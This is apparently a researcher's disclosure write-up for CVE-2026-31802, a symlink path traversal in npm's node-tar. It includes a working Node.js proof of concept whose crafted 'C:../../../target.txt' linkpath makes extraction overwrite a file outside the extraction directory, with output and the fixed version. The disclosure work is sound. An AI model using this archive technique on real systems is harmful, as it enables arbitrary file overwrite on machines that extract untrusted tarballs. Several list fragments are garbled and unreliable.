
Proof of concept and technical write-up for CVE-2026-31802, a symlink path traversal in npm tar allowing arbitrary file overwrite outside extraction directory.
Research: Joshua van Rijswijk
This repository contains my proof of concept and write-up for CVE-2026-31802, a high-severity vulnerability in the npm tar package (node-tar) affecting versions <= 7.5.10.
I found that tar can be tricked into creating a symlink that points outside the intended extraction directory by using a drive-relative symlink target such as C:../../../target.txt. In practice, this makes it possible to escape cwd during extraction and turn archive extraction into an arbitrary file overwrite primitive.
The bug is reachable through normal extraction behavior with attacker-controlled tar archives.
While looking at how tar handles symlink extraction, I noticed that certain linkpath values were treated inconsistently during sanitization and validation. In particular, drive-relative paths such as:
C:../../../target.txt
ended up being rewritten before use, but not validated in the same form they were ultimately stored and applied.
That mismatch is what makes the bug exploitable.
The vulnerability comes from how tar processes crafted symlink linkpath values during extraction.
At a high level, the extraction logic strips the drive prefix from a path like:
C:../../../target.txt
and rewrites it to:
../../../target.txt
However, the traversal safety check is performed against the original pre-stripped value, while symlink creation later uses the rewritten value.
That means a malicious archive can pass validation using one form of the path, but still produce a symlink that traverses outside the extraction directory when written to disk.
A malicious archive can contain a symlink entry like this:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
When extracted with normal usage such as:
tar.x({ cwd, file })
the following happens:
linkpath.cwd.In other words, the extraction logic validates one value and uses another. That gap creates the traversal primitive.
I wrote the following PoC to demonstrate that an extracted symlink can be made to point outside the extraction root and then used to overwrite a file outside the working directory.
The PoC:
../target.txta/b/llinkpath to C:../../../target.txta/b/lPoC script:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED confirms that the file outside the extraction directory was overwritten.
The readlink output and file listing show that the extracted symlink points outside the intended extraction root.
This issue gives an attacker an arbitrary file overwrite primitive outside the intended extraction directory, with the permissions of the process performing extraction.
Realistic scenarios include:
In those environments, a crafted archive can cause writes to land outside the directory the application expects to control.
tar <= 7.5.10tar 7.5.11This issue was patched in 7.5.11.
Users should upgrade immediately:
npm install tar@^7.5.11